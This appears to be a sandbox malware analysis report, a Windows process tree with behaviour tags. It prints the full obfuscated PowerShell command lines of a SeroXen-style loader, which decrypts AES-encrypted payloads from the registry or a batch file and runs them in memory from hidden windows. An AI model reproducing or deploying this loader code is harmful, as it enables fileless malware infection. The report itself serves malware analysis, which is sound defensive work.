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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function azANg($uqXcZ){ $cbnHX=[System.Security.Cryptography.Aes]::Create(); $cbnHX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cbnHX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cbnHX.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8='); $cbnHX.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ=='); $tPnBs=$cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')(); $OoDml=$tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uqXcZ, 0, $uqXcZ.Length); $tPnBs.Dispose(); $cbnHX.Dispose(); $OoDml;}function ZoBIE($uqXcZ){ $JJhJP=New-Object System.IO.MemoryStream(,$uqXcZ); $vdOzc=New-Object System.IO.MemoryStream; $jytZc=New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::Decompress); $jytZc.CopyTo($vdOzc); $jytZc.Dispose(); $JJhJP.Dispose(); $vdOzc.Dispose(); $vdOzc.ToArray();}function svoMW($uqXcZ,$bmkZU){ $Qbemx=[System.Reflection.Assembly]::Load([byte[]]$uqXcZ); $hKpcO=$Qbemx.EntryPoint; $hKpcO.Invoke($null, $bmkZU);}$cbnHX1 = New-Object System.Security.Cryptography.AesManaged;$cbnHX1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$qqkyS = $cbnHX1.('rotpyrceDetaerC'[-1..-15] -join '')();$lBOHA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ATyLhVzuRZSCEb4Wpirnw==');$lBOHA = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA, 0, $lBOHA.Length);$lBOHA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA);$gCblT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jxrd8kgTkv+rQ6GcuP5P4TNhUXd/YatD5jiKcBcIT0w=');$gCblT = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gCblT, 0, $gCblT.Length);$gCblT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gCblT);$MoiPF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZnS96k4SmeuGyhAzp7fpWw==');$MoiPF = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MoiPF, 0, $MoiPF.Length);$MoiPF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MoiPF);$PmWDJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pCPOtqi4Y0DHQO+ihrY+tfIA7KnzyLYON20gPk0kvAP3y03cyd2zU/RLHKMm4dM6miTpImJEXMvK5Ggjj2LKCQ4SSFHwGxmglt1SMUPjSK+drIxEtX4mexjiOxAVt5hWwlMGrlZidNK9ok2N8XEffv/1J4rSh4rld11EYjLJ/EqrETJJ/SK7FsEba8MZDrZmivgISTeVHPS3niBfrUxu7eCU1VGHwlMJF+Ti21Blzly9FDtJX1BJyI7HDF41aMNiBAv7QMVOh2ED3EL9cQpTbxxZqgVOuJx5b1TnO3H1N7w45jg/R3WZydYVfBzEcU/69pMim+aKYKIqJ2KBEbOIDe2AJfMjwI6kE1B0Xstrl2rDks6tpr0UxeE/8oCeuGdWFB8W0t6bAdeLc3ymya/QBPDCzB2PIPhfkaAFz4KkDOE=');$PmWDJ = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PmWDJ, 0, $PmWDJ.Length);$PmWDJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PmWDJ);$JCxOf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vPyiOLDgG9SqnslKLhN0jg==');$JCxOf = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JCxOf, 0, $JCxOf.Length);$JCxOf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JCxOf);$NdBND = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n/Gxi+/N6OsDAKE3yo1SmA==');$NdBND = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NdBND, 0, $NdBND.Length);$NdBND = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NdBND);$VXJOL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p0Y7zegza2XZHoFsuX1Pog==');$VXJOL = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VXJOL, 0, $VXJOL.Length);$VXJOL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VXJOL);$nzWLe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ibAuWzVfc3wceZVYaYIFNA==');$nzWLe = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nzWLe, 0, $nzWLe.Length);$nzWLe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nzWLe);$RpMjm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McPgfhEQWUWFSryKG8gAkw==');$RpMjm = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RpMjm, 0, $RpMjm.Length);$RpMjm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RpMjm);$lBOHA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IDuGQC5iWJNXZjqVT0zydA==');$lBOHA0 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA0, 0, $lBOHA0.Length);$lBOHA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA0);$lBOHA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y2C7a55flzCR+6ndfHJBbQ==');$lBOHA1 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA1, 0, $lBOHA1.Length);$lBOHA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA1);$lBOHA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zGGWTwppPD1/U4shRzPOLg==');$lBOHA2 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA2, 0, $lBOHA2.Length);$lBOHA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA2);$lBOHA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ylf1zOgubGQAutCaP2Nj9w==');$lBOHA3 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA3, 0, $lBOHA3.Length);$lBOHA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA3);$qqkyS.Dispose();$cbnHX1.Dispose();if (@(get-process -ea silentlycontinue $lBOHA3).count -gt 1) {exit};$veKQl = [Microsoft.Win32.Registry]::$nzWLe.$VXJOL($lBOHA).$NdBND($gCblT);$iCUMt=[string[]]$veKQl.Split('\');$dPiOe=ZoBIE(azANg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[1])));svoMW $dPiOe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$awxEY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[0]);$cbnHX = New-Object System.Security.Cryptography.AesManaged;$cbnHX.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$tPnBs = $cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')();$awxEY = $tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($awxEY, 0, $awxEY.Length);$tPnBs.Dispose();$cbnHX.Dispose();$JJhJP = New-Object System.IO.MemoryStream(, $awxEY);$vdOzc = New-Object System.IO.MemoryStream;$jytZc = New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::$lBOHA1);$jytZc.$RpMjm($vdOzc);$jytZc.Dispose();$JJhJP.Dispose();$vdOzc.Dispose();$awxEY = $vdOzc.ToArray();$ypvcV = $PmWDJ | IEX;$Qbemx = $ypvcV::$lBOHA2($awxEY);$hKpcO = $Qbemx.EntryPoint;$hKpcO.$lBOHA0($null, (, [string[]] ($MoiPF)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{eab199df-5db0-43bd-b298-44c25face1d7}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4988
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(932).WaitForExit();[System.Threading.Thread]::Sleep(5000); function azANg($uqXcZ){ $cbnHX=[System.Security.Cryptography.Aes]::Create(); $cbnHX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cbnHX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cbnHX.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8='); $cbnHX.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ=='); $tPnBs=$cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')(); $OoDml=$tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uqXcZ, 0, $uqXcZ.Length); $tPnBs.Dispose(); $cbnHX.Dispose(); $OoDml;}function ZoBIE($uqXcZ){ $JJhJP=New-Object System.IO.MemoryStream(,$uqXcZ); $vdOzc=New-Object System.IO.MemoryStream; $jytZc=New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::Decompress); $jytZc.CopyTo($vdOzc); $jytZc.Dispose(); $JJhJP.Dispose(); $vdOzc.Dispose(); $vdOzc.ToArray();}function svoMW($uqXcZ,$bmkZU){ $Qbemx=[System.Reflection.Assembly]::Load([byte[]]$uqXcZ); $hKpcO=$Qbemx.EntryPoint; $hKpcO.Invoke($null, $bmkZU);}$cbnHX1 = New-Object System.Security.Cryptography.AesManaged;$cbnHX1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$qqkyS = $cbnHX1.('rotpyrceDetaerC'[-1..-15] -join '')();$lBOHA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ATyLhVzuRZSCEb4Wpirnw==');$lBOHA = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA, 0, $lBOHA.Length);$lBOHA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA);$gCblT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jxrd8kgTkv+rQ6GcuP5P4TNhUXd/YatD5jiKcBcIT0w=');$gCblT = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gCblT, 0, $gCblT.Length);$gCblT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gCblT);$MoiPF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZnS96k4SmeuGyhAzp7fpWw==');$MoiPF = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MoiPF, 0, $MoiPF.Length);$MoiPF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MoiPF);$PmWDJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pCPOtqi4Y0DHQO+ihrY+tfIA7KnzyLYON20gPk0kvAP3y03cyd2zU/RLHKMm4dM6miTpImJEXMvK5Ggjj2LKCQ4SSFHwGxmglt1SMUPjSK+drIxEtX4mexjiOxAVt5hWwlMGrlZidNK9ok2N8XEffv/1J4rSh4rld11EYjLJ/EqrETJJ/SK7FsEba8MZDrZmivgISTeVHPS3niBfrUxu7eCU1VGHwlMJF+Ti21Blzly9FDtJX1BJyI7HDF41aMNiBAv7QMVOh2ED3EL9cQpTbxxZqgVOuJx5b1TnO3H1N7w45jg/R3WZydYVfBzEcU/69pMim+aKYKIqJ2KBEbOIDe2AJfMjwI6kE1B0Xstrl2rDks6tpr0UxeE/8oCeuGdWFB8W0t6bAdeLc3ymya/QBPDCzB2PIPhfkaAFz4KkDOE=');$PmWDJ = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PmWDJ, 0, $PmWDJ.Length);$PmWDJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PmWDJ);$JCxOf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vPyiOLDgG9SqnslKLhN0jg==');$JCxOf = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JCxOf, 0, $JCxOf.Length);$JCxOf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JCxOf);$NdBND = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n/Gxi+/N6OsDAKE3yo1SmA==');$NdBND = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NdBND, 0, $NdBND.Length);$NdBND = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NdBND);$VXJOL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p0Y7zegza2XZHoFsuX1Pog==');$VXJOL = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VXJOL, 0, $VXJOL.Length);$VXJOL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VXJOL);$nzWLe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ibAuWzVfc3wceZVYaYIFNA==');$nzWLe = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nzWLe, 0, $nzWLe.Length);$nzWLe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nzWLe);$RpMjm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McPgfhEQWUWFSryKG8gAkw==');$RpMjm = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RpMjm, 0, $RpMjm.Length);$RpMjm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RpMjm);$lBOHA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IDuGQC5iWJNXZjqVT0zydA==');$lBOHA0 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA0, 0, $lBOHA0.Length);$lBOHA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA0);$lBOHA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y2C7a55flzCR+6ndfHJBbQ==');$lBOHA1 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA1, 0, $lBOHA1.Length);$lBOHA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA1);$lBOHA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zGGWTwppPD1/U4shRzPOLg==');$lBOHA2 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA2, 0, $lBOHA2.Length);$lBOHA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA2);$lBOHA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ylf1zOgubGQAutCaP2Nj9w==');$lBOHA3 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA3, 0, $lBOHA3.Length);$lBOHA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA3);$qqkyS.Dispose();$cbnHX1.Dispose();if (@(get-process -ea silentlycontinue $lBOHA3).count -gt 1) {exit};$veKQl = [Microsoft.Win32.Registry]::$nzWLe.$VXJOL($lBOHA).$NdBND($gCblT);$iCUMt=[string[]]$veKQl.Split('\');$dPiOe=ZoBIE(azANg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[1])));svoMW $dPiOe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$awxEY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[0]);$cbnHX = New-Object System.Security.Cryptography.AesManaged;$cbnHX.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$tPnBs = $cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')();$awxEY = $tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($awxEY, 0, $awxEY.Length);$tPnBs.Dispose();$cbnHX.Dispose();$JJhJP = New-Object System.IO.MemoryStream(, $awxEY);$vdOzc = New-Object System.IO.MemoryStream;$jytZc = New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::$lBOHA1);$jytZc.$RpMjm($vdOzc);$jytZc.Dispose();$JJhJP.Dispose();$vdOzc.Dispose();$awxEY = $vdOzc.ToArray();$ypvcV = $PmWDJ | IEX;$Qbemx = $ypvcV::$lBOHA2($awxEY);$hKpcO = $Qbemx.EntryPoint;$hKpcO.$lBOHA0($null, (, [string[]] ($MoiPF)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3436
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{3e541356-48b4-4e70-9807-d2a9b7a3fbf7}5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4004
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{4e7b2056-1505-414c-854c-8f09afeae4e7}5⤵PID:5084
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{b654eac9-3ed1-4971-9c37-8e5cb51287d4}5⤵
- System Location Discovery: System Language Discovery
PID:4308
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{501edfef-fe2c-4bef-8878-17ebd0a81579}5⤵PID:884
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 884 -s 4646⤵
- Program crash
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
PID:2456
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{2ad957b0-9e38-4485-aa6e-0f21774f3099}5⤵
- System Location Discovery: System Language Discovery
PID:3620 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3620 -s 4766⤵
- Program crash
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
PID:4752
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{2f53d02d-eee0-4c68-ba6a-b9d006a42fa6}5⤵PID:1312
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{5334a8e1-92ba-4a3e-80cc-e95cc05dbb71}5⤵PID:5400
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{291e5167-1b0f-43f1-8c3a-bb85060da773}5⤵
- System Location Discovery: System Language Discovery
PID:4592
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{729cc4c2-3162-4d24-a2d0-dbf460bd7938}5⤵
- System Location Discovery: System Language Discovery
PID:4120 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 4766⤵
- Program crash
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
PID:5776
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1284
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1564
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1684
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1932
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2020
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1016
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1536
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1600
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2092
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2188
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2212
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2724
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:812
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3200 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\obf.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:5156 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4604
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C:\Users\Admin\AppData\Local\Temp\obf.bat.exe"obf.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function HALHE($yTDPE){ $NpAgJ=[System.Security.Cryptography.Aes]::Create(); $NpAgJ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $NpAgJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $NpAgJ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KT4+8mqWp9mT8M7YaX9PKBmYOaH/S9IG/t7SaNzb8nc='); $NpAgJ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ipSxnntDZAXPbqFp55MXpg=='); $UhnRU=$NpAgJ.CreateDecryptor(); $return_var=$UhnRU.TransformFinalBlock($yTDPE, 0, $yTDPE.Length); $UhnRU.Dispose(); $NpAgJ.Dispose(); $return_var;}function jBDIr($yTDPE){ $vfOYg=New-Object System.IO.MemoryStream(,$yTDPE); $LhXxI=New-Object System.IO.MemoryStream; $sDOWy=New-Object System.IO.Compression.GZipStream($vfOYg, [IO.Compression.CompressionMode]::Decompress); $sDOWy.CopyTo($LhXxI); $sDOWy.Dispose(); $vfOYg.Dispose(); $LhXxI.Dispose(); $LhXxI.ToArray();}function RGDOE($yTDPE,$wojHL){ $scBKd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yTDPE); $pXHJr=$scBKd.EntryPoint; $pXHJr.Invoke($null, $wojHL);}$OtKzy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\obf.bat').Split([Environment]::NewLine);foreach ($HiLlo in $OtKzy) { if ($HiLlo.StartsWith('SEROXEN')) { $ECbBh=$HiLlo.Substring(7); break; }}$yxeHH=[string[]]$ECbBh.Split('\');$SDiTm=jBDIr (HALHE ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yxeHH[0])));$euhkW=jBDIr (HALHE ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yxeHH[1])));RGDOE $euhkW (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));RGDOE $SDiTm (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Deletes itself
- Executes dropped EXE
- Suspicious use of SetThreadContext
